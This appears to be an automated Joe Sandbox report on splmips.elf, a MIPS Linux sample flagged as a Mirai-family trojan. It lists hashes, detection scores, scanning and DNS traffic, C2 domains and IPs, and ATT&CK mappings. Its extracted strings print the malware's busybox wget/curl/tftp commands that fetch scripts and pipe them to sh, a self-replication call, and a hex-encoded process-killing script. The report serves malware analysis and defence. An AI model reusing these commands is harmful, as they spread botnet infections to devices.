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Linux Analysis Report
splmips.elf

Overview

General Information

Sample name:	splmips.elf
Analysis ID:	1580193
MD5:	c12612f5181bf610b509a7354b5c708b
SHA1:	43ca276d2507baaa2d7a5d073301d86793eb4fd7
SHA256:	377e41eb4fd7125290eae52565ab8bb8ca935f164848145149b701800973ce47
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580193
Start date and time:	2024-12-24 04:04:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splmips.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/140@10/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/splmips.elf
PID:	6234
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

splmips.elf (PID: 6234, Parent: 6147, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/splmips.elf

splmips.elf New Fork (PID: 6236, Parent: 6234)

splmips.elf New Fork (PID: 6238, Parent: 6236)

splmips.elf New Fork (PID: 6240, Parent: 6236)

splmips.elf New Fork (PID: 6242, Parent: 6236)

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: splmips.elf	ReversingLabs: Detection: 36%
Source: splmips.elf	Virustotal: Detection: 33%			Perma Link

Source: global traffic	TCP traffic: 192.168.2.23:37170 -> 154.216.16.250:38241
Source: global traffic	TCP traffic: 192.168.2.23:46048 -> 209.38.192.73:38241
Source: global traffic	TCP traffic: 192.168.2.23:59124 -> 154.216.16.244:38241

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 122.37.46.193
Source: unknown	TCP traffic detected without corresponding DNS query: 84.190.70.163
Source: unknown	TCP traffic detected without corresponding DNS query: 192.204.226.250
Source: unknown	TCP traffic detected without corresponding DNS query: 188.59.144.127
Source: unknown	TCP traffic detected without corresponding DNS query: 46.83.90.170
Source: unknown	TCP traffic detected without corresponding DNS query: 18.166.112.251
Source: unknown	TCP traffic detected without corresponding DNS query: 135.152.58.202
Source: unknown	TCP traffic detected without corresponding DNS query: 144.44.55.71
Source: unknown	TCP traffic detected without corresponding DNS query: 142.77.68.252
Source: unknown	TCP traffic detected without corresponding DNS query: 42.199.14.41
Source: unknown	TCP traffic detected without corresponding DNS query: 70.225.248.213
Source: unknown	TCP traffic detected without corresponding DNS query: 5.109.38.67
Source: unknown	TCP traffic detected without corresponding DNS query: 103.213.184.209
Source: unknown	TCP traffic detected without corresponding DNS query: 30.96.144.83
Source: unknown	TCP traffic detected without corresponding DNS query: 174.43.178.184
Source: unknown	TCP traffic detected without corresponding DNS query: 207.65.186.198
Source: unknown	TCP traffic detected without corresponding DNS query: 53.109.187.153
Source: unknown	TCP traffic detected without corresponding DNS query: 35.43.148.123
Source: unknown	TCP traffic detected without corresponding DNS query: 140.23.78.6
Source: unknown	TCP traffic detected without corresponding DNS query: 192.112.200.135
Source: unknown	TCP traffic detected without corresponding DNS query: 129.80.155.113
Source: unknown	TCP traffic detected without corresponding DNS query: 173.206.167.176
Source: unknown	TCP traffic detected without corresponding DNS query: 63.94.45.58
Source: unknown	TCP traffic detected without corresponding DNS query: 175.29.60.255
Source: unknown	TCP traffic detected without corresponding DNS query: 20.220.163.228
Source: unknown	TCP traffic detected without corresponding DNS query: 30.50.234.2
Source: unknown	TCP traffic detected without corresponding DNS query: 73.154.62.116
Source: unknown	TCP traffic detected without corresponding DNS query: 201.161.83.54
Source: unknown	TCP traffic detected without corresponding DNS query: 126.129.33.101
Source: unknown	TCP traffic detected without corresponding DNS query: 100.177.184.194
Source: unknown	TCP traffic detected without corresponding DNS query: 202.191.25.224
Source: unknown	TCP traffic detected without corresponding DNS query: 156.188.82.12
Source: unknown	TCP traffic detected without corresponding DNS query: 122.37.46.193
Source: unknown	TCP traffic detected without corresponding DNS query: 46.91.59.79
Source: unknown	TCP traffic detected without corresponding DNS query: 90.246.242.5
Source: unknown	TCP traffic detected without corresponding DNS query: 84.190.70.163
Source: unknown	TCP traffic detected without corresponding DNS query: 192.87.149.141
Source: unknown	TCP traffic detected without corresponding DNS query: 192.204.226.250
Source: unknown	TCP traffic detected without corresponding DNS query: 143.14.215.14
Source: unknown	TCP traffic detected without corresponding DNS query: 111.112.145.39
Source: unknown	TCP traffic detected without corresponding DNS query: 188.59.144.127
Source: unknown	TCP traffic detected without corresponding DNS query: 111.129.6.165
Source: unknown	TCP traffic detected without corresponding DNS query: 46.83.90.170
Source: unknown	TCP traffic detected without corresponding DNS query: 85.184.161.5
Source: unknown	TCP traffic detected without corresponding DNS query: 87.151.123.211
Source: unknown	TCP traffic detected without corresponding DNS query: 18.166.112.251
Source: unknown	TCP traffic detected without corresponding DNS query: 188.179.215.85
Source: unknown	TCP traffic detected without corresponding DNS query: 135.152.58.202
Source: unknown	TCP traffic detected without corresponding DNS query: 159.17.52.80

Source: global traffic	DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic	DNS traffic detected: DNS query: serisbot.geek. [malformed]

Source: splmips.elf	String found in binary or memory: http:///curl.sh
Source: splmips.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6263/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6263/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6263/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6263/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6262/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6262/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6265/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6265/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6265/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6265/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6264/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6264/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6264/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6264/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6256/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6256/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6267/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6267/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6267/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6267/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6255/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6266/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6266/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6266/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6266/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6258/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6258/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6258/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6258/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6269/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6269/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6269/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6269/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6257/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6257/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6268/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6268/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6268/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6268/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6270/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6270/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6270/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6270/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6261/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6261/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6261/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6261/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6272/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6272/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6272/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6272/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6260/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6260/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6260/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6260/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6271/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6271/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6271/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6271/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6259/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6259/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6259/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6259/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6307/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6240)	File opened: /proc/6307/cmdline	Jump to behavior

Source: splmips.elf, 6234.1.00005564c90e9000.00005564c9170000.rw-.sdmp, splmips.elf, 6238.1.00005564c90e9000.00005564c9170000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: splmips.elf, 6234.1.00005564c90e9000.00005564c9170000.rw-.sdmp, splmips.elf, 6238.1.00005564c90e9000.00005564c9170000.rw-.sdmp	Binary or memory string: dU!/etc/qemu-binfmt/mips
Source: splmips.elf, 6234.1.00007fff4590d000.00007fff4592e000.rw-.sdmp, splmips.elf, 6238.1.00007fff4590d000.00007fff4592e000.rw-.sdmp	Binary or memory string: N[x86_64/usr/bin/qemu-mips/tmp/splmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splmips.elf
Source: splmips.elf, 6234.1.00007fff4590d000.00007fff4592e000.rw-.sdmp, splmips.elf, 6238.1.00007fff4590d000.00007fff4592e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
splmips.elf	37%	ReversingLabs	Linux.Trojan.Mirai
splmips.elf	33%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
serisontop.dyn	154.216.16.250	true	false		high
serisbot.geek. [malformed]	unknown	unknown	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splmips.elf	false		high
http:///curl.sh	splmips.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
37.147.145.17	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
19.79.21.138	unknown	United States	3	MIT-GATEWAYSUS	false
54.167.154.54	unknown	United States	14618	AMAZON-AESUS	false
212.194.145.233	unknown	France	5410	BOUYGTEL-ISPFR	false
194.200.171.111	unknown	United Kingdom	702	UUNETUS	false
165.35.78.226	unknown	United States	37053	RSAWEB-ASZA	false
40.246.183.169	unknown	United States	4249	LILLY-ASUS	false
150.14.60.225	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
99.243.188.88	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
102.22.112.65	unknown	unknown	37417	SONIC-WirelessZA	false
179.134.70.38	unknown	Brazil	26599	TELEFONICABRASILSABR	false
91.44.118.1	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
189.106.84.202	unknown	Brazil	7738	TelemarNorteLesteSABR	false
39.125.44.9	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
204.117.36.242	unknown	United States	13776	QX-NET-ASN-1US	false
82.128.124.29	unknown	unknown	5089	NTLGB	false
163.193.251.186	unknown	United States	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
15.54.154.38	unknown	United States	13979	ATT-IPFRUS	false
57.187.7.157	unknown	Belgium	2686	ATGS-MMD-ASUS	false
73.21.23.115	unknown	United States	7922	COMCAST-7922US	false
179.201.161.206	unknown	Brazil	26615	TIMSABR	false
117.43.241.171	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
28.97.162.46	unknown	United States	7922	COMCAST-7922US	false
30.85.17.67	unknown	United States	7922	COMCAST-7922US	false
214.245.220.28	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
70.47.162.71	unknown	United States	8001	NET-ACCESS-CORPUS	false
52.224.168.156	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
71.69.65.61	unknown	United States	11426	TWC-11426-CAROLINASUS	false
196.56.254.231	unknown	Seychelles	37518	FIBERGRIDSC	false
158.201.10.208	unknown	Japan	2522	PPP-EXPJapanNetworkInformationCenterJP	false
103.213.184.209	unknown	China	17670	MNCKABELMEDIACOM-IDPTMNCKabelMediacomID	false
84.249.254.27	unknown	Finland	1759	TSF-IP-CORETeliaFinlandOyjEU	false
142.241.147.185	unknown	Canada	852	ASN852CA	false
185.35.250.9	unknown	United Kingdom	204167	HYVEGB	false
152.184.156.217	unknown	United States	701	UUNETUS	false
44.21.240.250	unknown	United States	7377	UCSDUS	false
149.78.157.237	unknown	United States	46356	SBUEDUUS	false
132.146.52.224	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
2.127.182.92	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
91.187.199.49	unknown	Italy	31115	INTRED-ASIT	false
56.89.70.65	unknown	United States	2686	ATGS-MMD-ASUS	false
146.188.124.249	unknown	United Kingdom	702	UUNETUS	false
202.21.234.9	unknown	Singapore	24467	DB-APAC-RHO-ASDeutscheBankAPACRHOinSingaporeInternet	false
87.237.183.71	unknown	Germany	38988	RUHR-ENERGIEDE	false
170.224.9.42	unknown	United States	11685	HNBCOL-ASUS	false
146.60.50.216	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
57.193.31.88	unknown	Belgium	2686	ATGS-MMD-ASUS	false
92.24.80.143	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
82.96.80.94	unknown	Germany	29686	PROBENETWORKS-ASDE	false
220.127.29.183	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
40.153.39.57	unknown	United States	4249	LILLY-ASUS	false
7.37.92.50	unknown	United States	3356	LEVEL3US	false
44.128.50.99	unknown	United States	7377	UCSDUS	false
153.92.95.249	unknown	Germany	41998	NETCOMBW-ASDE	false
32.49.33.160	unknown	United States	7018	ATT-INTERNET4US	false
3.121.149.11	unknown	United States	16509	AMAZON-02US	false
119.245.67.150	unknown	Japan	2514	INFOSPHERENTTPCCommunicationsIncJP	false
124.255.146.132	unknown	Japan	10013	FBDCFreeBitCoLtdJP	false
15.18.97.31	unknown	United States	13979	ATT-IPFRUS	false
47.5.167.204	unknown	United States	20115	CHARTER-20115US	false
30.37.28.80	unknown	United States	7922	COMCAST-7922US	false
173.127.177.85	unknown	United States	10507	SPCSUS	false
62.81.80.99	unknown	Spain	6739	ONO-ASCableuropa-ONOES	false
196.50.200.96	unknown	South Africa	327782	METROFIBRE-NETWORXZA	false
42.170.241.4	unknown	China	4249	LILLY-ASUS	false
162.63.67.56	unknown	United States	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
35.158.202.247	unknown	United States	16509	AMAZON-02US	false
85.184.161.5	unknown	Denmark	204274	DK-AURA-ASDK	false
213.233.247.191	unknown	Netherlands	12414	NL-SOLCONSOLCONNL	false
114.84.204.166	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
188.210.31.146	unknown	Germany	42652	DELUNETDE	false
166.95.128.198	unknown	United States	3926	FFX-CNTYUS	false
61.144.249.84	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
18.166.112.251	unknown	United States	16509	AMAZON-02US	false
167.85.146.185	unknown	United States	14579	EDWARDJONESUS	false
133.185.178.215	unknown	Japan	385	AFCONC-BLOCK1-ASUS	false
21.238.129.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
105.0.206.84	unknown	South Africa	37168	CELL-CZA	false
123.84.11.209	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
198.213.21.142	unknown	United States	3354	THENET-AS-3354US	false
117.9.61.156	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
3.74.81.170	unknown	United States	16509	AMAZON-02US	false
158.6.46.216	unknown	United States	1535	DNIC-ASBLK-01534-01546US	false
7.192.72.235	unknown	United States	3356	LEVEL3US	false
73.55.63.164	unknown	United States	7922	COMCAST-7922US	false
189.89.18.181	unknown	Brazil	28183	MICRONLINESERVICOSDEINFORMATICALTDA-MEBR	false
94.23.162.140	unknown	France	16276	OVHFR	false
197.148.219.222	unknown	unknown	36974	AFNET-ASCI	false
109.5.220.183	unknown	France	15557	LDCOMNETFR	false
144.216.2.236	unknown	United States	7896	NU-ASUS	false
178.42.158.24	unknown	Poland	5617	TPNETPL	false
173.229.8.229	unknown	United States	16842	5DL-ASUS	false
113.231.41.33	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
13.8.201.221	unknown	United States	26662	XEROX-WVUS	false
199.22.46.170	unknown	Canada	16624	HYDRO-QUEBECCA	false
150.189.231.92	unknown	Venezuela	27807	FundacionCentroNacionaldeInnovacionTecnologicaCENIT	false
152.90.104.143	unknown	Norway	21171	SCHIBSTEDSchibstedASAAutonomoussystemOsloNorwayNO	false
131.19.37.50	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
221.250.98.142	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
5.226.172.236	unknown	Spain	43578	BITNAPbitNAPDatacenter01BarcelonaES	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
serisontop.dyn	nabppc.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	nabsh4.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	zersh4.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	nklm68k.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	splmpsl.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	nabmips.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	splppc.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	jklx86.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	154.216.16.250

Process:	/tmp/splmips.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.176940069983121
Encrypted:	false
SSDEEP:	6:URPtDF8L0Y/VUS/FYDFDCY/VpHHT/VDM/V+4D/VH:IPN9S/FQRbHHRMfF
MD5:	CF98044FBF1ACBB9951691D6B63EBAAA
SHA1:	15B8CC2D7577B875F4EFDC0B93E45C47E39ACAEC
SHA-256:	C890F99B82AE0DBE92C29C5ACEA13AA8E113670FCC9F4CBAB4C54DAA8B4BEE75
SHA-512:	7385341EA0C0244507911471D583A1BF6F20DEA3AC3924EE65E271BC55A097D4A241D354037D1BB972C211A47888746F3CFDDD6504E86B7E65D0D6EEE405711C
Malicious:	false
Reputation:	low
Preview:	400000-413000 r-xp 00000000 fd:00 531606 /tmp/..453000-454000 rw-p 00013000 fd:00 531606 /tmp/..454000-456000 rw-p 00000000 00:00 0 .456000-457000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.490216335474801
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splmips.elf
File size:	80'160 bytes
MD5:	c12612f5181bf610b509a7354b5c708b
SHA1:	43ca276d2507baaa2d7a5d073301d86793eb4fd7
SHA256:	377e41eb4fd7125290eae52565ab8bb8ca935f164848145149b701800973ce47
SHA512:	88c655defab259166c2b643325a62f8ad741077d948680e6baac18e40dff3101769849950b72a7fde24d8266596087e659110d17277131cc9dde8127c5908a5c
SSDEEP:	1536:7UD3HchhVyNgqnEu5J2KqEtvUEwgqakO7cb7lFb77mxHrhjqJms3T3bsR8:CXWh6v0KqEtvJwgqahhqJR3T3F
TLSH:	0373C80A2E259F6DFF7C823687B79F25974873912BE0C585D16CE9005F6034E641FBA8
